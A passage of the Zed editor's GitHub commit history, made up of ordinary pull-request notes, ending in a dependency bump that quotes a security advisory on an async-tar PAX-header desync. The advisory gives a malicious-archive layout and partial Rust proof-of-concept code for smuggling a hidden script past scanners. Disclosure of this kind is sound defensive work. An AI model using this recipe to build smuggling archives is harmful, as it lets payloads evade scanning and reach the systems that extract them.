Commit graph

4880 commits

Author SHA1 Message Date
Smit Barmase
3ad8086ee8
search: Escape seeded project search query in regex mode (#61335)
Fixes what https://github.com/zed-industries/zed/pull/57748 does for
buffer search.

When project search is deployed with regex mode enabled and the query is
seeded from the editor's selection or the word under the cursor, that
text is literal, so regex chars in it (e.g. `.` in `z.d`) are now
escaped instead of being interpreted as regex syntax. This follows how
VSCode handles it.

Release Notes:

- Fixed project search queries seeded from the current selection being
interpreted as a regular expression instead of literal text when regex
mode was enabled.
2026-07-21 07:39:25 +00:00
Chris Biscardi
5c215b3613
Revert "editor: Add language detection for untitled buffers (#61201)" (#61351)
This reverts commit 690c7fac64.

# Objective

language detection is firing very often in channel notes, often picking
YAML instead of markdown, causing some language-detection flickering.

cc/ @amtoaer (author of the original PR)
2026-07-20 16:43:55 +00:00
Danilo Leal
2230c1a5bf
worktree_picker: Improve discoverability of tasks as a creation setup mechanism (#61148)
Sometimes when creating Git worktrees, it's necessary to set things up
so the new worktree is ready. For example, copying env.vars, installing
dependencies, etc. That was already possible in Zed through the tasks
system, but you'd only maybe know about that if you read the
documentation or is super familiar with it already; nothing in the
product in the context of worktrees told you about that. This is what
this PR does.

Now, in the worktree picker, there's a "" button that opens the
`tasks.json` file exposing the `create_worktree` hook, which allows you
to plugin all sorts of things to be run by the time of a worktree
creation. If you don't already have a `tasks.json` file, we will create
a new one for you with a worktree-creation template. Otherwise, we
either append the `create_worktree` hook content to it or just open the
file.

Here's a quick video:


https://github.com/user-attachments/assets/21908be4-306b-4cf3-bed0-50d52cad9d79

Release Notes:

- Git Worktrees: Improved discoverability of the `create_worktree` hook
for setting up things that need to happen by the time of worktree
creation.
2026-07-20 11:17:21 +00:00
ᴀᴍᴛᴏᴀᴇʀ
690c7fac64
editor: Add language detection for untitled buffers (#61201)
# Objective

Closes #4868.

Untitled buffers start as Plain Text and require users to select a
language manually before receiving syntax highlighting. Add lightweight
automatic language detection for code entered or pasted into untitled
buffers.

## Solution

This builds on [Max Stevens's earlier language-detection
work](https://github.com/zed-industries/zed/pull/43057), replacing
Magika with [Betlang](https://github.com/DioxusLabs/betlang).

While researching smaller and faster alternatives to Magika, I came
across Betlang, a recently introduced language detection library
developed by DioxusLabs for dioxus-code. The fact that it comes from
DioxusLabs gave me more confidence in evaluating this relatively new
dependency for Zed. Betlang embeds an approximately 50 KB model, is
MIT-licensed, and depends only on `fearless_simd`, making it well suited
to Zed's cross-platform embedding requirements.

Detection runs on the background executor with bounded input sampling.
It is restricted to untitled buffers, skips content shorter than 20
bytes, and requires at least 50% confidence. These limits have worked
well in local testing. In release builds on Linux with an Intel Core
i5-13600KF, the `betlang::detect` call alone typically completes within
3 ms when processing the maximum sampled input.

## Testing

I added a test for language detection in untitled buffers that covers
both manually entered and pasted content. The test passes successfully.
I also manually tested the feature to verify that the overall experience
works well.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

## Showcase



https://github.com/user-attachments/assets/96e28ad7-2968-4325-9aff-37fe813a2da7



---

Release Notes:

- Added automatic language detection for untitled buffers.

---------

Co-authored-by: Max Stevens <maxstevens2708@gmail.com>
2026-07-20 05:12:49 +00:00
Jake Abendroth
eb962794a3
buffer_diff: Canonicalize ambiguous hunk placement to fix staging corruption (#60584)
Closes #60424

## Problem

With the repro from #60424, staging the first deletion hunk marked the
second deletion as staged in the UI even though git still had it
unstaged, and clicking the (incorrectly shown) Unstage button inserted a
duplicate copy of the hunk's contents into the git index on every click.

The root cause is ambiguous hunk placement. The committed text contains
repeated `end\n\n` line runs, so the deletion hunks can "slide": more
than one placement produces a minimal diff. The uncommitted diff (HEAD
vs worktree) anchored the remaining deletion at one row while the
unstaged diff (index vs worktree), recomputed after the partial stage,
anchored the same logical deletion at a different row. Everything that
correlates hunks across those two diffs assumes they agree on positions:

- the secondary-status matching in `hunks_intersecting_range_impl` found
no unstaged hunk at the uncommitted hunk's rows and reported it as
staged (`NoSecondaryHunk`);
- the worktree→index projection in `compute_uncommitted_index_edits`
treated the hunk's position as unchanged text and, on unstage, inserted
the hunk's HEAD content at an index position that already contained it,
duplicating it on every request.

## Fix

Upgrade `imara-diff` from 0.1.8 to 0.2.0 and run
`Diff::postprocess_lines` (imara-diff's port of git's xdiff
slider/indent heuristic) after computing hunks in `buffer_diff`. This
canonicalizes the placement of ambiguous hunks based only on their local
content, so diffs of the same buffer against different base texts anchor
the same logical change at the same rows. A bonus is that Zed's hunk
placement now matches `git diff`'s output for such cases (git has used
the indent heuristic by default since 2.11).

As defense in depth, `compute_uncommitted_index_edits` now drops a
pure-insertion index edit whose content is already present at the target
position, so a stale secondary status can no longer duplicate index
content.

The imara-diff 0.2 API removed the `Sink` trait and the top-level
`diff()` function, so the other call sites (`language/text_diff.rs`,
`zeta_prompt/udiff.rs`, `edit_prediction_metrics/reversal.rs`) are
migrated mechanically to `Diff::compute` + `hunks()` with unchanged
behavior (0.2 also renamed `lines_with_terminator` to `lines` and
changed the default `&str` tokenization to include terminators; the
unified-diff builders keep terminator-less tokens via `str::lines()`).

## Testing

- New regression test `test_staging_hunks_with_ambiguous_placement`
replays the exact repro from #60424 (same file contents): stages the
first deletion, asserts the remaining hunks keep their unstaged status
and the index matches exactly, then issues repeated unstage requests for
the unstaged hunk and asserts the index is unchanged. Before the fix
this test showed the second hunk flipping to staged and the index
growing by one copy of the deleted block per unstage request.
- `buffer_diff`, `language`, `zeta_prompt`, `edit_prediction_metrics`,
`multi_buffer`, `git_ui`, `editor`, and the `project` integration suite
pass.
- One test expectation updated: `editor::test_fold_function_bodies`
asserted the old placement of an ambiguous deletion (blank line before
comment); the canonicalized placement (comment before blank line)
matches what `git diff` produces for the same texts.

Release Notes:

- Fixed staging a hunk sometimes marking a different hunk as staged (and
subsequent unstaging corrupting the git index) when the diff contained
repeated lines
([#60424](https://github.com/zed-industries/zed/issues/60424)).

---------

Co-authored-by: Cole Miller <cole@zed.dev>
2026-07-18 18:48:49 +00:00
John Tur
7eb8af27a6
gpui: Remove ExitProcess shutdown workaround (#61219)
Some checks are pending
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
The issue with aws-lc that necessitated this workaround has been fixed
upstream: https://github.com/aws/aws-lc/issues/3197.

Release Notes:

- N/A
2026-07-17 19:16:49 +00:00
Lukas Wirth
de827bce2f
gpui: Add system notification platform APIs (#61189)
Release Notes:

- N/A or Added/Fixed/Improved ...

---------

Co-authored-by: John Tur <john-tur@outlook.com>
2026-07-17 18:52:23 +00:00
d0
1d2a4b3f7f
outline: Add preview pane to buffer symbols (#61069)
Some checks are pending
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
# Objective

- Implement preview pane for buffer symbols, similar to #59863 

## Showcase
### Before 
<img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 25
19@2x"
src="https://github.com/user-attachments/assets/443f150a-bb67-4bac-ba4a-f8f299554470"
/>

### After
<img width="4512" height="2980" alt="CleanShot 2026-07-15 at 23 19
09@2x"
src="https://github.com/user-attachments/assets/0fd4be89-d25e-4052-8de0-3a9a5a5908f9"
/>


---

Release Notes:

- Added a preview pane to the buffer symbols picker
2026-07-17 11:41:08 +00:00
Kirill Bulatov
31ceaf7908
Bump taffy (#61183)
Follow-up to https://github.com/zed-industries/zed/pull/60721

Release Notes:

- N/A
2026-07-17 09:45:16 +00:00
Dino
b562439e93
project_panel: Add remote support for undo/redo system (#59709)
# Objective

Add remote (SSH) and collaboration support for trashing and restoring
files in the project panel, which in turn enables undo/redo of trash
operations against remote and collab projects.

Relates to #5039.

## Solution

- Updated the project panel undo system to carry `TrashId` instead of
`TrashedEntry`.
- Using `TrashedEntry` could get hairy, as it includes paths, which
wouldn't play too nicely when using, for exapmle, macOS as the client
and Windows as the host. Using a simple identifier is much easier in
this regard and simplifies implementation.
- Enabled the Trash action and context-menu entry on remote projects,
and removed the command palette filter in `ProjectPanel::new` that was
still hiding the action on remote.
- As far as I can tell, there isn't a reliable way to detect whether a
given remote actually supports the OS trash, so we expose the action
everywhere rather than guessing. On a remote without trash support the
action will fail when invoked but this is a conscious tradeoff until we
find a better way to handle this.
- `fs` now tracks trashed files in a `SlotMap<TrashId, TrashedEntry>` on
each `Fs` implementation. Trashed files are referenced by an opaque
`TrashId` instead of passing a `TrashedEntry` around, which avoids
serializing filesystem paths in remote messages.
- Split the old `delete_entry(trash: bool)` API into distinct
`trash_entry`/`trash_file` (returning a `TrashId`) and
`delete_entry`/`delete_file` across `Project`, `Worktree`,
`LocalWorktree` and `RemoteWorktree`.
- This lets us drop the optional trash result (`Option<TrashedEntry>`)
from the delete path and require a `TrashId` from the trash path.
- Added new proto messages (`TrashProjectEntry`,
`TrashProjectEntryResponse`, `RestoreProjectEntry`,
`RestoreProjectEntryResponse`) to let clients request the host to trash
or restore entries.
- This deprecates `DeleteProjectEntry::use_trash`, but the host still
honors it. An older collab peer may request trashing via that flag
instead of the newer `TrashProjectEntry`. If the host ignored it, a
newer host would permanently delete a file the user meant to send to the
trash. The field will be removed in a later PR once all supported peers
use `TrashProjectEntry`.

## Testing

The following tests were introduced to ensure the new behavior is
correctly tested:

* `remote_server::remote_editing_tests::test_remote_trash_restore` –
Tests trashing a project entry in remote
*
`remote_server::remote_editing_tests::test_remote_delete_project_entry_with_trash`
– Test to ensure we continue respecting `DeleteProjectEntry::use_trash`
until it is fully removed
* `project_panel::tests::undo::trash_directory_undo_redo` – Not related
to these changes but a nice to have as we were missing a test ensuring
that trashing and then undoing and redoing it for a directory works as
expected

Besides these, the following scenarios were manually tested against a
remote session on the same machine (macOS):

- Trashing → Undo (Restore) → Redo (Trashing)
- Batch Trashing → Undo (Batch Restore) → Redo (Batch Trashing)
- Rename → Undo (Rename) → Redo (Rename)
- Move → Undo (Move) → Redo (Move)
- Batch Move → Undo (Batch Move) → Redo (Batch Move)

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

Release Notes:

- N/A

---------

Co-authored-by: Yara <git@yara.blue>
2026-07-16 09:41:21 +00:00
Mikayla Maki
91fdd55889
gpui: Bump taffy from 0.10.1 to 0.12.1 (#60721)
Migrates the alignment conversions to taffy's new safe-alignment style
types: `AlignItems`/`AlignContent` and friends are now structs pairing a
keyword with a safety modifier, constructed via associated constants
(e.g. `AlignItems::START`) instead of enum variants.

The motivating change in this release is [taffy
#911](df2663aad3)
("More correct caching logic"), which keys taffy's per-node measure
cache on axis, parent size, and available space. Today GPUI is largely
immune to the old cache-key conflation because text answers every sizing
probe with the same width; the follow-up PR in this stack (honest
min-content text measurement) returns different sizes for different
constraints, which makes cache-key correctness a prerequisite. 0.12.1
additionally hotfixes two block layout/caching regressions in 0.12.0,
and 0.11.0's grid fix (resolving item percentages against the grid area
rather than the container) comes along as well.

Stack:
1. **This PR** — taffy 0.12.1
2. #60722 — honest min-content text measurement
3. #60723 — CSS `auto` grid tracks for table-like column sizing

Release Notes:

- N/A
2026-07-15 19:47:15 +00:00
zed-zippy[bot]
dc660bfc3b
Bump Zed to v1.13.0 (#61059)
Some checks are pending
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
Release Notes:

- N/A

Co-authored-by: zed-zippy[bot] <234243425+zed-zippy[bot]@users.noreply.github.com>
2026-07-15 17:30:36 +00:00
David
63692b8b47
search: Add LSP location pickers for references, definitions, and diagnostics (#59838)
# Objective

Closes #59829

Provide a filterable, preview-backed picker for LSP results as an
alternative to the multi-buffer view, for references, definitions,
implementations.

## Solution

Update the 3 existing LSP actions (definitions, implementations, find
all references) to add a `open_results_in` parameter which accepts
either `multi_buffer` (default) or `picker` to show the results in a
filterable picker with preview. This behavior can be configured globally
in the settings via `lsp_results_location`.

UX:

- The 3 existing LSP actions each accept a `open_results_in` parameter
so that each action can be configuring individually with a custom
keybind
- The `lsp_results_location` global setting can be used to set a default
behavior with `open_results_in == None`
- Go to definition falls back to find all references (if configured) on
empty results which is consistent with the non-picker path
- Results are grouped by file; each row shows the line number and the
syntax-highlighted source line with the match emphasized.
- Typing filters by line text or path; the preview updates with the
selection.
- Enter/click opens the selection, `cmd/ctrl-enter` opens it in a split,
and re-invoking the command toggles the picker closed.
- Empty results show a toast so the command never silently does nothing.
- Note: the new pickers do not open on cmd-click, only when invoked via
the command palette or keybind

## Testing

- No automated tests yet — holding for first-round feedback on the
approach and UX before adding tests.

## Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [ ] The content adheres to Zed's UI standards
([UX/UI](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
and
[icon](https://github.com/zed-industries/zed/blob/main/crates/icons/README.md)
guidelines)
- [x] Tests cover the new/changed behavior
- [ ] Performance impact has been considered and is acceptable

## Showcase


https://github.com/user-attachments/assets/41538f23-9b54-4dfc-bfa7-a61564a675a8

---

Release Notes:

- The find all references, go to definitions, and go to implementations
LSP actions can be configured to open results in a picker with preview
instead of a multibuffer.
2026-07-15 14:36:43 +00:00
Lukas Wirth
0bfd2d7cf0
language_core: Remove lsp-types dependency (#61041)
Some checks are pending
run_tests / check_licenses (push) Blocked by required conditions
run_tests / check_scripts (push) Blocked by required conditions
run_tests / check_postgres_and_protobuf_migrations (push) Blocked by required conditions
run_tests / extension_tests (push) Blocked by required conditions
run_tests / tests_pass (push) Blocked by required conditions
Congratsbot / check-author (push) Waiting to run
Congratsbot / congrats (push) Blocked by required conditions
deploy_nightly_docs / deploy_docs (push) Waiting to run
run_tests / orchestrate (push) Waiting to run
run_tests / check_style (push) Waiting to run
run_tests / clippy_windows (push) Blocked by required conditions
run_tests / clippy_linux (push) Blocked by required conditions
run_tests / clippy_mac (push) Blocked by required conditions
run_tests / clippy_mac_x86_64 (push) Blocked by required conditions
run_tests / run_tests_windows (push) Blocked by required conditions
run_tests / run_tests_linux (push) Blocked by required conditions
run_tests / run_tests_mac (push) Blocked by required conditions
run_tests / miri_scheduler (push) Blocked by required conditions
run_tests / doctests (push) Blocked by required conditions
run_tests / check_workspace_binaries (push) Blocked by required conditions
run_tests / build_visual_tests_binary (push) Blocked by required conditions
run_tests / check_wasm (push) Blocked by required conditions
run_tests / check_dependencies (push) Blocked by required conditions
run_tests / check_docs (push) Blocked by required conditions
Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 10:46:01 +00:00
Lukas Wirth
f181a2f47b
Split out RelPath into a separate crate (#61029)
This is necessary to remove some `util` dependencies from crates, as
well as better sharing for our projects. This also includes the WIP
AbsPath abstraction as well as some bug fixes from internal tooling.


Release Notes:

- N/A or Added/Fixed/Improved ...
2026-07-15 08:33:25 +00:00
Remco Smits
b76e4db15d
git: Add a gpg wrapper script to route GnuPG prompts via the askpass UI (#58791)
This PR adds support for entering your git GPG passphrase through the
askpass UI. As a daily Zed user I'm really missing this feature, this
forces me to switch to a terminal or an external application. which is
not ideal for me and most people that are forced to use GPG signing.

Right now Zed can show a similar error (redacted) when you are trying to
commit with GPG signing enabled:
```
error: gpg failed to sign the data:
[GNUPG:] KEY_CONSIDERED <redacted> 2
[GNUPG:] BEGIN_SIGNING H8
[GNUPG:] PINENTRY_LAUNCHED 4625 curses 1.3.2 - xterm-ghostty - - 501/20 0
gpg: signing failed: Inappropriate ioctl for device
[GNUPG:] FAILURE sign <redacted>
gpg: signing failed: Inappropriate ioctl for device

fatal: failed to write commit object
```

Here is the key configurion parts of my **global** git config:

```
[user]
	name = Remco Smits
	email = <redacted>
	signingkey = <redacted>
[commit]
	gpgsign = true
[tag]
	gpgsign = true
```

**Before**


https://github.com/user-attachments/assets/60a06574-92f1-45df-a29a-8ae11db6751d

**After**


https://github.com/user-attachments/assets/92b648e9-b538-4ce5-af4c-136689d14e1a


**How to test this?**
1. Create a key `gpg --full-generate-key`
2. Run `git config --global user.signingkey <KEY ID>`
3. Run `git config --global commit.gpgsign true`
4. Run & copy result from `gpg --armor --export <KEY ID>` and submit
your public key to github
[https://github.com/settings/gpg/new](https://github.com/settings/gpg/new)
5. Make a change and try committing
6. See that it promts for your passphrase :)

**Note**: I used AI as an assistant to write this PR

Self-Review Checklist:

- [x] I've reviewed my own diff for quality, security, and reliability
- [x] Unsafe blocks (if any) have justifying comments
- [x] The content is consistent with the [UI/UX
checklist](https://github.com/zed-industries/zed/blob/main/CONTRIBUTING.md#uiux-checklist)
- [ ] Tests cover the new/changed behavior
- [x] Performance impact has been considered and is acceptable

Release Notes:

- Git: Passphrase prompts from GPG to unlock commit signing keys are now
shown in Zed.

Co-authored-by: Lukas Wirth <lukas@zed.dev>
2026-07-15 08:27:31 +00:00
Kirill Bulatov
88ce2d526e
Show download percentage in download button's tooltip (#60990)
Closes https://github.com/zed-industries/zed/discussions/60944

<img width="568" height="143" alt="downloads"
src="https://github.com/user-attachments/assets/e5643106-a0c9-496c-bff2-300faad38839"
/>



Release Notes:

- Started to show download percentage in download button's tooltip
2026-07-15 07:39:33 +00:00
Richard Feldman
6b9f448ffc
crashes: Capture glibc's abort diagnostic in crash reports (#60624)
Linux crash reports for runtime-initiated aborts currently carry no
information about why the runtime aborted. A sizable family of Sentry
issues (FR-108 / [ZED-9SC](https://zed-dev.sentry.io/issues/7581925141/)
among them) consists of glibc's malloc integrity checks detecting heap
corruption and aborting from inside `malloc`/`realloc`/`free`, so each
event lands on a random victim stack and the underlying problem stays
invisible and ungroupable.

glibc records the diagnostic it prints before aborting ("free(): invalid
pointer", "double free or corruption", assertion failures,
stack-smashing reports) in the private `__abort_msg` global specifically
so it can be recovered post-mortem. This resolves that symbol's address
at startup and sends it to the crash-handler process; when a crash comes
in, the handler reads the message out of the crashed process's memory
with `process_vm_readv` while the client is still parked in its signal
handler awaiting the dump acknowledgement. The message is then attached
to crash uploads as a searchable `abort_message` tag plus a full-text
context. The crashed process does no work itself, which matters because
in exactly these crashes the crashed thread may hold the allocator's
arena lock, so it cannot safely allocate or format anything. Everything
degrades gracefully to the current behavior when the symbol is
unavailable (musl, future glibc changes).

With the tag in place, Sentry fingerprint rules can fold these
corruption aborts into a single tracked issue instead of minting a new
single-event issue per victim stack, and the message text distinguishes
double-frees from out-of-bounds metadata corruption when hunting the
actual culprit.

Release Notes:

- N/A
2026-07-14 21:47:47 +00:00
renovate[bot]
a1230fc584
Update Rust crate async-tar to 0.6.0 [SECURITY] (#60623)
This PR contains the following updates:

| Package | Type | Update | Change |
|---|---|---|---|
| [async-tar](https://redirect.github.com/dignifiedquire/async-tar) |
workspace.dependencies | minor | `0.5.1` → `0.6.0` |

---

> [!WARNING]
> Some dependencies could not be looked up. Check the [Dependency
Dashboard](../issues/15138) for more information.

---

### async-tar PAX extension-header desync enables tar entry/content
smuggling
[CVE-2026-53600](https://nvd.nist.gov/vuln/detail/CVE-2026-53600) /
[GHSA-35rm-7j9c-2f7m](https://redirect.github.com/advisories/GHSA-35rm-7j9c-2f7m)

<details>
<summary>More information</summary>

#### Details
##### Summary

`async-tar` v0.6.0 mis-applies a buffered PAX `size` extension to an
intermediary
extension header (a GNU longname `L`, a GNU longlink `K`, or a PAX
`x`/`g`
header) instead of to the next *file* entry. POSIX requires a PAX
extended-header
record set to describe the next file entry, never an intervening
extension
header. Because `poll_next_raw` (`src/archive.rs`) threads the buffered
PAX
records into the size computation of whatever raw header it reads next —
and that
header can be an intermediary `L` — the stream cursor is advanced by an
attacker-chosen amount when the `L` body is consumed. The parser then
desyncs
relative to a POSIX-correct tar parser (e.g. GNU tar), reading
subsequent bytes
at the wrong block boundary.

An attacker who can influence a tar stream that an `async-tar` consumer
extracts
can construct an `x → L → file` sequence whose entry list and on-disk
result
differ between `async-tar` and a reference parser. This enables
content/entry
smuggling: a file that a GNU-tar-based scanner/validator/AV sees as
benign opaque
data is extracted by `async-tar` as a different file with different
bytes (e.g. an
executable script), and vice versa.

Type confusion / improper validation of the specified quantity (size).
CWE-20,
CWE-843. Severity assessed Medium, consistent with the same defect class
in the
upstream tar-rs / tokio-tar lineage.

##### Affected code

Package: `async-tar` (crates.io). Affected version: **0.6.0** (latest
release) and
current `main` HEAD. Both lack the extension-header guard.

`src/archive.rs`, `poll_next_raw` (line numbers from the v0.6.0 tag,
commit `45814b19295b7398e119c90c57d8c8bf70a798b6`):

```rust
    let file_pos = *next;

    let mut header = current_header.take().unwrap();

    // when pax extensions are available, the size should come from there.
    let mut size = header.entry_size()?;

    // the size above will be overriden by the pax data if it has a size field.
    // same for uid and gid, which will be overridden in the header itself.
    if let Some(pax_extensions_data) = pax_extensions_data {   // <-- no is_extension_header guard
        let pax = pax_extensions(pax_extensions_data);
        for extension in pax {
            let extension = extension.map_err(|_e| other("pax extensions invalid"))?;
            let Some(key) = extension.key().ok() else { continue };
            match key {
                "size" => {
                    let size_str = extension.value()
                        .map_err(|_e| other("failed to parse pax size as string"))?;
                    size = size_str.parse::<u64>()
                        .map_err(|_e| other("failed to parse pax size"))?;
                }
                "uid" => { let v = extension.value().unwrap(); header.set_uid(v.parse().unwrap()); }
                "gid" => { let v = extension.value().unwrap(); header.set_gid(v.parse().unwrap()); }
                _ => { continue }
            }
        }
    }

    let data = EntryIo::Data(archive.clone().take(size));   // body length = mis-applied PAX size
```

and a few lines further down the same function:

```rust
    // Store where the next entry is, rounding up by 512 bytes.
    let size = (size + 511) & !(512 - 1);
    *next += size;                                          // cursor advance = mis-applied PAX size
```

The caller loop in `src/archive.rs` (`Entries::poll_next`) buffers a PAX
local
extension into `current_pax_extensions` and then calls `poll_next_raw`
with
`current_pax_extensions.as_deref()` for the *next* raw header. When that
next
raw header is an intermediary GNU longname (handled by the
`is_gnu_longname()`
branch a few lines later), the PAX `size` is applied to it, so `*next`
advances by
the spoofed size rather than the `L` header's own declared size. That is
the
desync.

The buffered PAX records are intended to apply only to the following
*file*
entry; the missing check is whether the raw header currently being sized
is itself
an extension header (`L`/`K`/`x`/`g`).

##### Impact

Differential extraction / entry smuggling. A consumer that extracts an
attacker-influenced tar stream with `async-tar` (e.g. a server endpoint
that
unpacks an uploaded `.tar`/`.tar.gz`, a dependency/artifact fetcher that
unpacks
a remote tarball, an archive-preview/scan pipeline) will:

- materialize files / file contents that a POSIX-correct parser (GNU
tar,
  libarchive/bsdtar) does not surface, and
- omit or alter files that the reference parser does surface.

This breaks any security control that relies on scanning the archive
with one
parser and extracting with `async-tar`: a malware/secret scanner reading
the
stream with GNU tar can be made to see only benign data while
`async-tar` writes
an executable payload to disk. It can also be used to hide entries from
audit/inventory tooling, or to write content to a path the reviewer
believes
holds something else. No attacker-controlled local state is required —
only the
ability to influence the bytes of the tar stream that the consumer
extracts.

##### How input reaches the sink (reachability)

The vulnerable path is the library's primary public API for reading
archives:
`Archive::new(reader).entries()` returns an `Entries` stream whose
`poll_next`
drives `poll_next_raw` for every header. Any consumer that iterates
entries (or
calls `unpack`/`unpack_in` on them) of an attacker-influenced tar stream
reaches
the sink with no additional configuration. The `reader` need not be a
file — it is
any `AsyncRead`, so an upload buffer, an HTTP response body, or a
decompressor
output all qualify. The only precondition for the desync is that the
stream
contain a PAX local-extension header (`x`) carrying a `size` record
immediately
followed by an intermediary GNU longname (`L`) before the next file
header — a
structure the attacker fully controls in the archive bytes.
Representative
reachable consumers are server endpoints that unpack uploaded
`.tar`/`.tar.gz`
bodies, dependency/artifact fetchers that unpack remote tarballs, and
archive-scan/preview pipelines.

##### Proof of concept

A standalone Rust consumer binary that links the published crates.io
`async-tar = "=0.6.0"` (`default-features = false, features =
["runtime-tokio"]`)
and runs the real `Archive::new(...).entries()` extraction loop (the
same shape
used by real downstream server consumers that unpack uploaded tarballs).
It reads
a tar file and writes each entry to a destination directory, printing
the entry
list `async-tar` surfaces. A second binary hand-crafts the malicious and
benign
tar byte streams.

Malicious archive geometry (block = 512 bytes):

```
B0  x  PAX local-extension header, records declare size=1024 (= 2 blocks)
B1     PAX records  ("<len> size=1024\n")
B2  L  GNU longname header, OWN declared size = 512 (= 1 block)
B3     longname block #&#8203;1  = "GNU_SEES_THIS.txt\0..."   (the name GNU tar uses)
B4     a normal file header "placeholder_A" (size 512)
B5     <-- this block IS a valid tar header for the smuggled file
           "hidden_payload.sh" (size 65)
B6     smuggled payload  "#!/bin/sh\n# SMUGGLED ENTRY...\n"
B7,B8  two zero blocks (EOF)
```

GNU tar honours the `L` header's own declared size (1 block) for the
longname and
ignores the buffered PAX `size`, so it reads B3 as the longname, treats
B4 as the
file, and reads B5 as that file's opaque data. `async-tar` mis-applies
the PAX
`size` (2 blocks) to the `L` header, reads B3+B4 as the longname, lands
its cursor
on B5, parses it as a tar header, and extracts the smuggled
`hidden_payload.sh`
body (B6).

Tar-builder source (`mktar.rs`):

```rust
use std::io::Write;
const BLOCK: usize = 512;

fn octal(buf: &mut [u8], v: u64) {
    let s = format!("{:0width$o}", v, width = buf.len() - 1);
    let b = s.as_bytes();
    buf[..b.len()].copy_from_slice(b);
    buf[b.len()] = 0;
}

fn header(name: &[u8], size: u64, typeflag: u8) -> [u8; BLOCK] {
    let mut h = [0u8; BLOCK];
    let n = name.len().min(100);
    h[..n].copy_from_slice(&name[..n]);
    octal(&mut h[100..108], 0o644);
    octal(&mut h[108..116], 0);
    octal(&mut h[116..124], 0);
    octal(&mut h[124..136], size);
    octal(&mut h[136..148], 0);
    h[156] = typeflag;
    if typeflag == b'L' { h[257..265].copy_from_slice(b"ustar  \0"); }
    else { h[257..263].copy_from_slice(b"ustar\0"); h[263..265].copy_from_slice(b"00"); }
    for b in &mut h[148..156] { *b = b' '; }
    let sum: u32 = h.iter().map(|b| *b as u32).sum();
    h[148..156].copy_from_slice(format!("{:06o}\0 ", sum).as_bytes());
    h
}

fn pad(out: &mut Vec<u8>, len: usize) {
    let rem = len % BLOCK;
    if rem != 0 { out.extend(std::iter::repeat(0u8).take(BLOCK - rem)); }
}
